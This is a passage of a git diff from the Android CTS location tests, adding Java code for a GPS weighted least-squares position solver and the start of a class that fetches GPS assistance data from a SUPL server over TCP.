+ * {@value #MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS} is reached without convergence.
+ */
+ private SatellitesPositionPseudorangesResidualAndCovarianceMatrix applyWeightedLeastSquare(
+ GpsNavMessageProto navMessageProto,
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+ double receiverGPSTowAtReceptionSeconds,
+ int receiverGPSWeek,
+ int dayOfYear1To366,
+ double[] positionSolutionECEF,
+ double[] deltaPositionMeters,
+ boolean doAtmosphericCorrections,
+ SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight,
+ RealMatrix weightMatrixMetersMinus2)
+ throws Exception {
+ RealMatrix weightedGeometryMatrix;
+ int numberOfIterations = 0;
+
+ while ((Math.abs(deltaPositionMeters[0]) + Math.abs(deltaPositionMeters[1])
+ + Math.abs(deltaPositionMeters[2])) >= LEAST_SQUARE_TOLERANCE_METERS) {
+ // Apply ionospheric and tropospheric corrections only if the applied correction to
+ // position is below a specific threshold
+ if ((Math.abs(deltaPositionMeters[0]) + Math.abs(deltaPositionMeters[1])
+ + Math.abs(deltaPositionMeters[2])) < ATMPOSPHERIC_CORRECTIONS_THRESHOLD_METERS) {
+ doAtmosphericCorrections = true;
+ }
+ // Calculate satellites' positions, measurement residual per visible satellite and weight
+ // matrix for the iterative least square
+ satPosPseudorangeResidualAndWeight = calculateSatPosAndPseudorangeResidual(navMessageProto,
+ usefulSatellitesToReceiverMeasurements, receiverGPSTowAtReceptionSeconds, receiverGPSWeek,
+ dayOfYear1To366, positionSolutionECEF, doAtmosphericCorrections);
+
+ // Calculate the geometry matrix according to "Global Positioning System: Theory and
+ // Applications", Parkinson and Spilker page 413
+ geometryMatrix = new Array2DRowRealMatrix(calculateGeometryMatrix(
+ satPosPseudorangeResidualAndWeight.satellitesPositionsMeters, positionSolutionECEF));
+ // Apply weighted least square only if the covariance matrix is
+ // not singular (has a non-zero determinant), otherwise apply ordinary least square.
+ // The reason is to ignore reported signal to noise ratios by the receiver that can
+ // lead to such singularities
+ if (weightMatrixMetersMinus2 == null) {
+ weightedGeometryMatrix = geometryMatrix;
+ } else {
+ RealMatrix hMatrix =
+ calculateHMatrix(weightMatrixMetersMinus2, geometryMatrix);
+ weightedGeometryMatrix = hMatrix.multiply(geometryMatrix.transpose())
+ .multiply(weightMatrixMetersMinus2);
+ }
+
+ // Equation 9 page 413 from "Global Positioning System: Theory and Applicaitons",
+ // Parkinson and Spilker
+ deltaPositionMeters =
+ GpsMathOperations.matrixByColVectMultiplication(
+ weightedGeometryMatrix.getData(),
+ satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters);
+
+ // Apply corrections to the position estimate
+ positionSolutionECEF[0] += deltaPositionMeters[0];
+ positionSolutionECEF[1] += deltaPositionMeters[1];
+ positionSolutionECEF[2] += deltaPositionMeters[2];
+ positionSolutionECEF[3] += deltaPositionMeters[3];
+ numberOfIterations++;
+ Preconditions.checkArgument(numberOfIterations <= MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS,
+ "Maximum number of least square iterations reached without convergance...");
+ }
+ return satPosPseudorangeResidualAndWeight;
+ }
+
+ /**
+ * Removes satellites that have residuals above {@value #RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS}
+ * from the {@code usefulSatellitesToReceiverMeasurements} list. Returns true if any satellite is
+ * removed.
+ */
+ private boolean removeHighResidualSats(
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+ boolean repeatLeastSquare,
+ SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight,
+ int satsWithResidualBelowThreshold) {
+
+ for (int i = 0; i < satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters.length; i++) {
+ if (satsWithResidualBelowThreshold > MINIMUM_NUMER_OF_SATELLITES) {
+ if (Math.abs(satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters[i])
+ > RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS) {
+ int prn = satPosPseudorangeResidualAndWeight.satellitePRNs[i];
+ usefulSatellitesToReceiverMeasurements.set(prn - 1, null);
+ satsWithResidualBelowThreshold--;
+ repeatLeastSquare = true;
+ }
+ }
+ }
+ return repeatLeastSquare;
+ }
+
+ /**
+ * Calculates position of all visible satellites and pseudorange measurement residual (difference
+ * of measured to predicted pseudoranges) needed for the least square computation. The result is
+ * stored in an instance of {@link SatellitesPositionPseudorangesResidualAndCovarianceMatrix}
+ *
+ * @param navMeassageProto parameters of the navigation message
+ * @param usefulSatellitesToReceiverMeasurements Map of useful satellite PRN to
+ * {@link GpsMeasurementWithRangeAndUncertainty} containing receiver measurements for
+ * computing the position solution
+ * @param receiverGPSTowAtReceptionSeconds Receiver estimate of GPS time of week (seconds)
+ * @param receiverGpsWeek Receiver estimate of GPS week (0-1024+)
+ * @param dayOfYear1To366 The day of the year between 1 and 366
+ * @param userPositionECEFMeters receiver ECEF position in meters
+ * @param doAtmosphericCorrections boolean indicating if atmospheric range corrections should be
+ * applied
+ * @return SatellitesPositionPseudorangesResidualAndCovarianceMatrix Object containing satellite
+ * prns, satellite positions in ECEF, pseudorange residuals and covariance matrix.
+ */
+ public SatellitesPositionPseudorangesResidualAndCovarianceMatrix
+ calculateSatPosAndPseudorangeResidual(
+ GpsNavMessageProto navMeassageProto,
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+ double receiverGPSTowAtReceptionSeconds,
+ int receiverGpsWeek,
+ int dayOfYear1To366,
+ double[] userPositionECEFMeters,
+ boolean doAtmosphericCorrections)
+ throws Exception {
+ int numberOfUsefulSatellites =
+ getNumberOfusefulSatellites(usefulSatellitesToReceiverMeasurements);
+ // deltaPseudorange is the pseudorange measurement residual
+ double[] deltaPseudorangesMeters = new double[numberOfUsefulSatellites];
+ double[][] satellitesPositionsECEFMeters = new double[numberOfUsefulSatellites][3];
+
+ // satellite PRNs
+ int[] satellitePRNs = new int[numberOfUsefulSatellites];
+
+ // Ionospheric model parameters
+ double[] alpha =
+ {navMeassageProto.iono.alpha[0], navMeassageProto.iono.alpha[1],
+ navMeassageProto.iono.alpha[2], navMeassageProto.iono.alpha[3]};
+ double[] beta = {navMeassageProto.iono.beta[0], navMeassageProto.iono.beta[1],
+ navMeassageProto.iono.beta[2], navMeassageProto.iono.beta[3]};
+ // Weight matrix for the weighted least square
+ RealMatrix covarianceMatrixMetersSquare =
+ new Array2DRowRealMatrix(numberOfUsefulSatellites, numberOfUsefulSatellites);
+ calculateSatPosAndResiduals(
+ navMeassageProto,
+ usefulSatellitesToReceiverMeasurements,
+ receiverGPSTowAtReceptionSeconds,
+ receiverGpsWeek,
+ dayOfYear1To366,
+ userPositionECEFMeters,
+ doAtmosphericCorrections,
+ deltaPseudorangesMeters,
+ satellitesPositionsECEFMeters,
+ satellitePRNs,
+ alpha,
+ beta,
+ covarianceMatrixMetersSquare);
+
+ return new SatellitesPositionPseudorangesResidualAndCovarianceMatrix(satellitePRNs,
+ satellitesPositionsECEFMeters, deltaPseudorangesMeters,
+ covarianceMatrixMetersSquare.getData());
+ }
+
+ /**
+ * Calculates and fill the position of all visible satellites:
+ * {@code satellitesPositionsECEFMeters}, pseudorange measurement residual (difference of measured
+ * to predicted pseudoranges): {@code deltaPseudorangesMeters} and covariance matrix from the
+ * weighted least square: {@code covarianceMatrixMetersSquare}. An array of the satellite PRNs
+ * {@code satellitePRNs} is as well filled.
+ */
+ private void calculateSatPosAndResiduals(
+ GpsNavMessageProto navMeassageProto,
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+ double receiverGPSTowAtReceptionSeconds,
+ int receiverGpsWeek,
+ int dayOfYear1To366,
+ double[] userPositionECEFMeters,
+ boolean doAtmosphericCorrections,
+ double[] deltaPseudorangesMeters,
+ double[][] satellitesPositionsECEFMeters,
+ int[] satellitePRNs,
+ double[] alpha,
+ double[] beta,
+ RealMatrix covarianceMatrixMetersSquare)
+ throws Exception {
+ // user position without the clock estimate
+ double[] userPositionTempECEFMeters =
+ {userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]};
+ int satsCounter = 0;
+ for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+ if (usefulSatellitesToReceiverMeasurements.get(i) != null) {
+ GpsEphemerisProto ephemeridesProto = getEphemerisForSatellite(navMeassageProto, i + 1);
+ // Correct the receiver time of week with the estimated receiver clock bias
+ receiverGPSTowAtReceptionSeconds =
+ receiverGPSTowAtReceptionSeconds - userPositionECEFMeters[3] / SPEED_OF_LIGHT_MPS;
+
+ double pseudorangeMeasurementMeters =
+ usefulSatellitesToReceiverMeasurements.get(i).pseudorangeMeters;
+ double pseudorangeUncertaintyMeters =
+ usefulSatellitesToReceiverMeasurements.get(i).pseudorangeUncertaintyMeters;
+
+ // Assuming uncorrelated pseudorange measurements, the covariance matrix will be diagonal as
+ // follows
+ covarianceMatrixMetersSquare.setEntry(satsCounter, satsCounter,
+ pseudorangeUncertaintyMeters * pseudorangeUncertaintyMeters);
+
+ // Calculate time of week at transmission time corrected with the satellite clock drift
+ GpsTimeOfWeekAndWeekNumber correctedTowAndWeek =
+ calculateCorrectedTransmitTowAndWeek(ephemeridesProto, receiverGPSTowAtReceptionSeconds,
+ receiverGpsWeek, pseudorangeMeasurementMeters);
+
+ // calculate satellite position and velocity
+ PositionAndVelocity satPosECEFMetersVelocityMPS = SatellitePositionCalculator
+ .calculateSatellitePositionAndVelocityFromEphemeris(ephemeridesProto,
+ correctedTowAndWeek.gpsTimeOfWeekSeconds, correctedTowAndWeek.weekNumber,
+ userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]);
+
+ satellitesPositionsECEFMeters[satsCounter][0] = satPosECEFMetersVelocityMPS.positionXMeters;
+ satellitesPositionsECEFMeters[satsCounter][1] = satPosECEFMetersVelocityMPS.positionYMeters;
+ satellitesPositionsECEFMeters[satsCounter][2] = satPosECEFMetersVelocityMPS.positionZMeters;
+
+ // Calculate ionospheric and tropospheric corrections
+ double ionosphericCorrectionMeters;
+ double troposphericCorrectionMeters;
+ if (doAtmosphericCorrections) {
+ ionosphericCorrectionMeters =
+ IonosphericModel.ionoKloboucharCorrectionSeconds(
+ userPositionTempECEFMeters,
+ satellitesPositionsECEFMeters[satsCounter],
+ correctedTowAndWeek.gpsTimeOfWeekSeconds,
+ alpha,
+ beta,
+ IonosphericModel.L1_FREQ_HZ)
+ * SPEED_OF_LIGHT_MPS;
+
+ troposphericCorrectionMeters =
+ calculateTroposphericCorrectionMeters(
+ dayOfYear1To366,
+ satellitesPositionsECEFMeters,
+ userPositionTempECEFMeters,
+ satsCounter);
+ } else {
+ troposphericCorrectionMeters = 0.0;
+ ionosphericCorrectionMeters = 0.0;
+ }
+ double predictedPseudorangeMeters =
+ calculatePredictedPseudorange(userPositionECEFMeters, satellitesPositionsECEFMeters,
+ userPositionTempECEFMeters, satsCounter, ephemeridesProto, correctedTowAndWeek,
+ ionosphericCorrectionMeters, troposphericCorrectionMeters);
+
+ // Pseudorange residual (difference of measured to predicted pseudoranges)
+ deltaPseudorangesMeters[satsCounter] =
+ pseudorangeMeasurementMeters - predictedPseudorangeMeters;
+
+ // Satellite PRNs
+ satellitePRNs[satsCounter] = i + 1;
+ satsCounter++;
+ }
+ }
+ }
+
+ /** Searches ephemerides list for the ephemeris associated with current satellite in process */
+ private GpsEphemerisProto getEphemerisForSatellite(GpsNavMessageProto navMeassageProto,
+ int satPrn) {
+ List<GpsEphemerisProto> ephemeridesList
+ = new ArrayList<GpsEphemerisProto>(Arrays.asList(navMeassageProto.ephemerids));
+ GpsEphemerisProto ephemeridesProto = null;
+ int ephemerisPrn = 0;
+ for (GpsEphemerisProto ephProtoFromList : ephemeridesList) {
+ ephemerisPrn = ephProtoFromList.prn;
+ if (ephemerisPrn == satPrn) {
+ ephemeridesProto = ephProtoFromList;
+ break;
+ }
+ }
+ return ephemeridesProto;
+ }
+
+ /** Calculates predicted pseudorange in meters */
+ private double calculatePredictedPseudorange(double[] userPositionECEFMeters,
+ double[][] satellitesPositionsECEFMeters, double[] userPositionNoClockECEFMeters,
+ int satsCounter, GpsEphemerisProto ephemeridesProto,
+ GpsTimeOfWeekAndWeekNumber correctedTowAndWeek, double ionosphericCorrectionMeters,
+ double troposphericCorrectionMeters) throws Exception {
+ // Calcualte the satellite clock drift
+ double satelliteClockCorrectionMeters =
+ SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
+ ephemeridesProto, correctedTowAndWeek.gpsTimeOfWeekSeconds,
+ correctedTowAndWeek.weekNumber).satelliteClockCorrectionMeters;
+
+ double satelliteToUserDistanceMeters =
+ GpsMathOperations.vectorNorm(GpsMathOperations.subtractTwoVectors(
+ satellitesPositionsECEFMeters[satsCounter], userPositionNoClockECEFMeters));
+
+ // Predicted pseudorange
+ double predictedPseudorangeMeters =
+ satelliteToUserDistanceMeters - satelliteClockCorrectionMeters + ionosphericCorrectionMeters
+ + troposphericCorrectionMeters + userPositionECEFMeters[3];
+ return predictedPseudorangeMeters;
+ }
+
+ /** Calculates the Gps troposheric correction in meters */
+ private double calculateTroposphericCorrectionMeters(int dayOfYear1To366,
+ double[][] satellitesPositionsECEFMeters, double[] userPositionTempECEFMeters,
+ int satsCounter) {
+ double troposphericCorrectionMeters;
+ TopocentricAEDValues elevationAzimuthDist =
+ EcefToTopocentricConverter.convertCartesianToTopocentericRadMeters(
+ userPositionTempECEFMeters, GpsMathOperations.subtractTwoVectors(
+ satellitesPositionsECEFMeters[satsCounter], userPositionTempECEFMeters));
+
+ GeodeticLlaValues lla =
+ Ecef2LlaConverter.convertECEFToLLACloseForm(userPositionTempECEFMeters[0],
+ userPositionTempECEFMeters[1], userPositionTempECEFMeters[2]);
+
+ double elevationMetersAboveSeaLevel = 0.0;
+ if (calculateGeoidMeters) {
+ geoidHeightMeters = lla.altitudeMeters;
+ troposphericCorrectionMeters = TroposphericModelEgnos.calculateTropoCorrectionMeters(
+ elevationAzimuthDist.elevationRadians, lla.latitudeRadians, elevationMetersAboveSeaLevel,
+ dayOfYear1To366);
+ } else {
+ troposphericCorrectionMeters = TroposphericModelEgnos.calculateTropoCorrectionMeters(
+ elevationAzimuthDist.elevationRadians, lla.latitudeRadians,
+ lla.altitudeMeters - geoidHeightMeters, dayOfYear1To366);
+ }
+ return troposphericCorrectionMeters;
+ }
+
+ /**
+ * Gets the number of useful satellites from a list of
+ * {@link GpsMeasurementWithRangeAndUncertainty}.
+ */
+ private int getNumberOfusefulSatellites(
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements) {
+ // calculate the number of useful satellites
+ int numberOfUsefulSatellites = 0;
+ for (int i = 0; i < usefulSatellitesToReceiverMeasurements.size(); i++) {
+ if (usefulSatellitesToReceiverMeasurements.get(i) != null) {
+ numberOfUsefulSatellites++;
+ }
+ }
+ return numberOfUsefulSatellites;
+ }
+
+ /**
+ * Computes the GPS time of week at the time of transmission and as well the corrected GPS week
+ * taking into consideration week rollover. The returned GPS time of week is corrected by the
+ * computed satellite clock drift. The result is stored in an instance of
+ * {@link GpsTimeOfWeekAndWeekNumber}
+ *
+ * @param ephemerisProto parameters of the navigation message
+ * @param receiverGpsTowAtReceptionSeconds Receiver estimate of GPS time of week when signal was
+ * received (seconds)
+ * @param receiverGpsWeek Receiver estimate of GPS week (0-1024+)
+ * @param pseudorangeMeters Measured pseudorange in meters
+ * @return GpsTimeOfWeekAndWeekNumber Object containing Gps time of week and week number.
+ */
+ private static GpsTimeOfWeekAndWeekNumber calculateCorrectedTransmitTowAndWeek(
+ GpsEphemerisProto ephemerisProto, double receiverGpsTowAtReceptionSeconds,
+ int receiverGpsWeek, double pseudorangeMeters) throws Exception {
+ // GPS time of week at time of transmission: Gps time corrected for transit time (page 98 ICD
+ // GPS 200)
+ double receiverGpsTowAtTimeOfTransmission =
+ receiverGpsTowAtReceptionSeconds - pseudorangeMeters / SPEED_OF_LIGHT_MPS;
+
+ // Adjust for week rollover
+ if (receiverGpsTowAtTimeOfTransmission < 0) {
+ receiverGpsTowAtTimeOfTransmission += SECONDS_IN_WEEK;
+ receiverGpsWeek -= 1;
+ } else if (receiverGpsTowAtTimeOfTransmission > SECONDS_IN_WEEK) {
+ receiverGpsTowAtTimeOfTransmission -= SECONDS_IN_WEEK;
+ receiverGpsWeek += 1;
+ }
+
+ // Compute the satellite clock correction term (Seconds)
+ double clockCorrectionSeconds =
+ SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
+ ephemerisProto, receiverGpsTowAtTimeOfTransmission,
+ receiverGpsWeek).satelliteClockCorrectionMeters / SPEED_OF_LIGHT_MPS;
+
+ // Correct with the satellite clock correction term
+ double receiverGpsTowAtTimeOfTransmissionCorrectedSec =
+ receiverGpsTowAtTimeOfTransmission + clockCorrectionSeconds;
+
+ // Adjust for week rollover due to satellite clock correction
+ if (receiverGpsTowAtTimeOfTransmissionCorrectedSec < 0.0) {
+ receiverGpsTowAtTimeOfTransmissionCorrectedSec += SECONDS_IN_WEEK;
+ receiverGpsWeek -= 1;
+ }
+ if (receiverGpsTowAtTimeOfTransmissionCorrectedSec > SECONDS_IN_WEEK) {
+ receiverGpsTowAtTimeOfTransmissionCorrectedSec -= SECONDS_IN_WEEK;
+ receiverGpsWeek += 1;
+ }
+ return new GpsTimeOfWeekAndWeekNumber(receiverGpsTowAtTimeOfTransmissionCorrectedSec,
+ receiverGpsWeek);
+ }
+
+ /**
+ * Calculates the Geometry matrix (describing user to satellite geometry) given a list of
+ * satellite positions in ECEF coordinates in meters and the user position in ECEF in meters.
+ *
+ * <p>The geometry matrix has four columns, and rows equal to the number of satellites. For each
+ * of the rows (i.e. for each of the satellites used), the columns are filled with the normalized
+ * line–of-sight vectors and 1 s for the fourth column.
+ *
+ * <p>Source: Parkinson, B.W., Spilker Jr., J.J.: ‘Global positioning system: theory and
+ * applications’ page 413
+ */
+ private static double[][] calculateGeometryMatrix(double[][] satellitePositionsECEFMeters,
+ double[] userPositionECEFMeters) {
+
+ double[][] geometeryMatrix = new double[satellitePositionsECEFMeters.length][4];
+ for (int i = 0; i < satellitePositionsECEFMeters.length; i++) {
+ geometeryMatrix[i][3] = 1;
+ }
+ // iterate over all satellites
+ for (int i = 0; i < satellitePositionsECEFMeters.length; i++) {
+ double[] r = {satellitePositionsECEFMeters[i][0] - userPositionECEFMeters[0],
+ satellitePositionsECEFMeters[i][1] - userPositionECEFMeters[1],
+ satellitePositionsECEFMeters[i][2] - userPositionECEFMeters[2]};
+ double norm = Math.sqrt(Math.pow(r[0], 2) + Math.pow(r[1], 2) + Math.pow(r[2], 2));
+ for (int j = 0; j < 3; j++) {
+ geometeryMatrix[i][j] =
+ (userPositionECEFMeters[j] - satellitePositionsECEFMeters[i][j]) / norm;
+ }
+ }
+ return geometeryMatrix;
+ }
+
+ /**
+ * Class containing satellites' PRNs, satellites' positions in ECEF meters, the peseudorange
+ * residual per visible satellite in meters and the covariance matrix of the pseudoranges in
+ * meters square
+ */
+ private static class SatellitesPositionPseudorangesResidualAndCovarianceMatrix {
+
+ /** Satellites' PRNs */
+ private final int[] satellitePRNs;
+
+ /** ECEF positions (meters) of useful satellites */
+ private final double[][] satellitesPositionsMeters;
+
+ /** Pseudorange measurement residuals (difference of measured to predicted pseudoranges) */
+ private final double[] pseudorangeResidualsMeters;
+
+ /** Pseudorange covariance Matrix for the weighted least squares (meters square) */
+ private final double[][] covarianceMatrixMetersSquare;
+
+ /** Constructor */
+ private SatellitesPositionPseudorangesResidualAndCovarianceMatrix(int[] satellitePRNs,
+ double[][] satellitesPositionsMeters, double[] pseudorangeResidualsMeters,
+ double[][] covarianceMatrixMetersSquare) {
+ this.satellitePRNs = satellitePRNs;
+ this.satellitesPositionsMeters = satellitesPositionsMeters;
+ this.pseudorangeResidualsMeters = pseudorangeResidualsMeters;
+ this.covarianceMatrixMetersSquare = covarianceMatrixMetersSquare;
+ }
+
+ }
+
+ /**
+ * Class containing GPS time of week in seconds and GPS week number
+ */
+ private static class GpsTimeOfWeekAndWeekNumber {
+ /** GPS time of week in seconds */
+ private final double gpsTimeOfWeekSeconds;
+
+ /** GPS week number */
+ private final int weekNumber;
+
+ /** Constructor */
+ private GpsTimeOfWeekAndWeekNumber(double gpsTimeOfWeekSeconds, int weekNumber) {
+ this.gpsTimeOfWeekSeconds = gpsTimeOfWeekSeconds;
+ this.weekNumber = weekNumber;
+ }
+ }
+
+ /**
+ * Uses the common reception time approach to calculate pseudoranges from the time of week
+ * measurements reported by the receiver according to http://cdn.intechopen.com/pdfs-wm/27712.pdf.
+ * As well computes the pseudoranges uncertainties for each input satellite
+ */
+ static List<GpsMeasurementWithRangeAndUncertainty> computePseudorangeAndUncertainties(
+ List<GpsMeasurement> usefulSatellitesToReceiverMeasurements,
+ Long[] usefulSatellitesToTOWNs,
+ long largestTowNs) {
+
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToPseudorangeMeasurements =
+ Arrays.asList(
+ new GpsMeasurementWithRangeAndUncertainty[MAX_NUMBER_OF_SATELLITES]);
+ for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+ if (usefulSatellitesToTOWNs[i] != null) {
+ double deltai = largestTowNs - usefulSatellitesToTOWNs[i];
+ double pseudorangeMeters =
+ (AVERAGE_TRAVEL_TIME_SECONDS + deltai * SECONDS_PER_NANO) * SPEED_OF_LIGHT_MPS;
+
+ double signalToNoiseRatioLinear =
+ Math.pow(10, usefulSatellitesToReceiverMeasurements.get(i).signalToNoiseRatioDb / 10.0);
+ // From Global Positoning System book, Misra and Enge, page 416, the uncertainty of the
+ // pseudorange measurement is calculated next.
+ // For GPS C/A code chip width Tc = 1 microseconds. Narrow correlator with spacing d = 0.1
+ // chip and an average time of DLL correlator T of 20 milliseconds are used.
+ double sigmaMeters =
+ SPEED_OF_LIGHT_MPS
+ * GPS_CHIP_WIDTH_T_C_SEC
+ * Math.sqrt(
+ GPS_CORRELATOR_SPACING_IN_CHIPS
+ / (4 * GPS_DLL_AVERAGING_TIME_SEC * signalToNoiseRatioLinear));
+ usefulSatellitesToPseudorangeMeasurements.set(
+ i,
+ new GpsMeasurementWithRangeAndUncertainty(
+ usefulSatellitesToReceiverMeasurements.get(i), pseudorangeMeters, sigmaMeters));
+ }
+ }
+ return usefulSatellitesToPseudorangeMeasurements;
+ }
+
+}
diff --git a/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpController.java b/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpController.java
new file mode 100644
index 0000000..e236668
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpController.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.suplClient;
+
+import android.location.cts.asn1.supl2.rrlp_components.IonosphericModel;
+import android.location.cts.asn1.supl2.rrlp_components.NavModelElement;
+import android.location.cts.asn1.supl2.rrlp_components.NavigationModel;
+import android.location.cts.asn1.supl2.rrlp_components.SatStatus;
+import android.location.cts.asn1.supl2.rrlp_components.UncompressedEphemeris;
+import android.location.cts.asn1.supl2.rrlp_messages.PDU;
+import android.location.cts.asn1.supl2.supl_pos.PosPayLoad;
+import android.location.cts.asn1.supl2.ulp.ULP_PDU;
+import android.location.cts.asn1.supl2.ulp.UlpMessage;
+import android.location.cts.asn1.supl2.ulp_components.SessionID;
+import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
+import android.location.cts.nano.Ephemeris.GpsNavMessageProto;
+import android.location.cts.nano.Ephemeris.IonosphericModelProto;
+import java.io.IOException;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A class that applies the SUPL protocol call flow to obtain GPS assistance data over a TCP
+ * connection.
+ *
+ * <p>A rough location of the receiver has to be known in advance which is passed to the method
+ * #generateNavMessage to obtain a GpsNavMessageProto containing the GPS assistance
+ * data.
+ *
+ * <p>The SUPL protocol flaw is made over a TCP socket to a server specified by SUPL_SERVER_NAME
+ * at port SUPL_SERVER_PORT.
+ */
+public class SuplRrlpController {
+ // Details of the following constants can be found in hte IS-GPS-200F which can be found at:
+ // http://www.navcen.uscg.gov/pdf/is-gps-200f.pdf
+ private static final double NAVIGATION_TGD_SCALE_FACTOR = Math.pow(2, -31);
+ private static final double NAVIGATION_TOC_SCALE_FACTOR = Math.pow(2, 4);
+ private static final double NAVIGATION_AF2_SCALE_FACTOR = Math.pow(2, -55);
+ private static final double NAVIGATION_AF1_SCALE_FACTOR = Math.pow(2, -43);
+ private static final double NAVIGATION_AF0_SCALE_FACTOR = Math.pow(2, -31);
+ private static final double NAVIGATION_CRS_SCALE_FACTOR = Math.pow(2, -5);
+ private static final double NAVIGATION_DELTA_N_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
+ private static final double NAVIGATION_M0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+ private static final double NAVIGATION_CUC_SCALE_FACTOR = Math.pow(2, -29);
+ private static final double NAVIGATION_E_SCALE_FACTOR = Math.pow(2, -33);
+ private static final double NAVIGATION_CUS_SCALE_FACTOR = Math.pow(2, -29);
+ private static final double NAVIGATION_A_POWER_HALF_SCALE_FACTOR = Math.pow(2, -19);
+ private static final double NAVIGATION_TOE_SCALE_FACTOR = Math.pow(2, 4);
+ private static final double NAVIGATION_CIC_SCALE_FACTOR = Math.pow(2, -29);
+ private static final double NAVIGATION_OMEGA0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+ private static final double NAVIGATION_CIS_SCALE_FACTOR = Math.pow(2, -29);
+ private static final double NAVIGATION_I0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+ private static final double NAVIGATION_CRC_SCALE_FACTOR = Math.pow(2, -5);
+ private static final double NAVIGATION_W_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+ private static final double NAVIGATION_OMEGA_A_DOT_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
+ private static final double NAVIGATION_I_DOT_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
+ private static final double IONOSPHERIC_ALFA_0_SCALE_FACTOR = Math.pow(2, -30);
+ private static final double IONOSPHERIC_ALFA_1_SCALE_FACTOR = Math.pow(2, -27);
+ private static final double IONOSPHERIC_ALFA_2_SCALE_FACTOR = Math.pow(2, -24);
+ private static final double IONOSPHERIC_ALFA_3_SCALE_FACTOR = Math.pow(2, -24);
+ private static final double IONOSPHERIC_BETA_0_SCALE_FACTOR = Math.pow(2, 11);
+ private static final double IONOSPHERIC_BETA_1_SCALE_FACTOR = Math.pow(2, 14);
+ private static final double IONOSPHERIC_BETA_2_SCALE_FACTOR = Math.pow(2, 16);
+ private static final double IONOSPHERIC_BETA_3_SCALE_FACTOR = Math.pow(2, 16);
+
+ // 3657 is the number of days between the unix epoch and GPS epoch as the GPS epoch started on
+ // Jan 6, 1980
+ private static final long GPS_EPOCH_AS_UNIX_EPOCH_MS = TimeUnit.DAYS.toMillis(3657);
+ // A GPS Cycle is 1024 weeks, or 7168 days
+ private static final long GPS_CYCLE_MS = TimeUnit.DAYS.toMillis(7168);
+ private static final int GPS_CYCLE_WEEKS = 1024;
+
+ private final String suplServerName;
+ private final int suplServerPort;
+
+ public SuplRrlpController(String suplServerName, int suplServerPort) {
+ this.suplServerName = suplServerName;
+ this.suplServerPort = suplServerPort;
+ }
+
+ /**
+ * Applies the SUPL protocol call flaw to obtain the assistance data and store the result in a
+ * GpsNavMessageProto
+ */
+ public GpsNavMessageProto generateNavMessage(long latE7, long lngE7)
+ throws UnknownHostException, IOException {
+ // Establishes a TCP socket that is used to send and receive SUPL messages
+ SuplTcpClient tcpClient = new SuplTcpClient(suplServerName, suplServerPort);
+
+ // Send a SUPL START message from the client to server
+ byte[] suplStartMessage = SuplRrlpMessagesGenerator.generateSuplStartLocalLocationMessage(null);
+ tcpClient.sendSuplRequest(suplStartMessage);
+ // Receive a SUPL RESPONSE from the server and obtain the Session ID send by the server
+ byte[] response = tcpClient.getSuplResponse();
+ if (response == null) {
+ return new GpsNavMessageProto();
+ }
+ ULP_PDU decodedMessage = ULP_PDU.fromPerUnaligned(response);
+
+ if (!decodedMessage.getMessage().isMsSUPLRESPONSE()) {
+ return new GpsNavMessageProto();
+ }
+ SessionID sessionId = decodedMessage.getSessionID();
+
+ // Send a SUPL POS INIT message from the client to the server requesting GPS assistance data
+ // for the location specified by the given latitude and longitude
+ byte[] suplPosInitMessage = SuplRrlpMessagesGenerator
+ .generateSuplPositionInitLocalLocationMessage(sessionId, latE7, lngE7);
+ tcpClient.sendSuplRequest(suplPosInitMessage);
+
+ // Receive a SUPL POS message from the server containing all the assitance data requested
+ response = tcpClient.getSuplResponse();
+ if (response == null) {
+ return new GpsNavMessageProto();
+ }
+ decodedMessage = ULP_PDU.fromPerUnaligned(response);
+
+ if (!decodedMessage.getMessage().isMsSUPLPOS()) {
+ return new GpsNavMessageProto();
+ }
+ // build a NavMessageProto out of the received decoded payload from the SUPL server
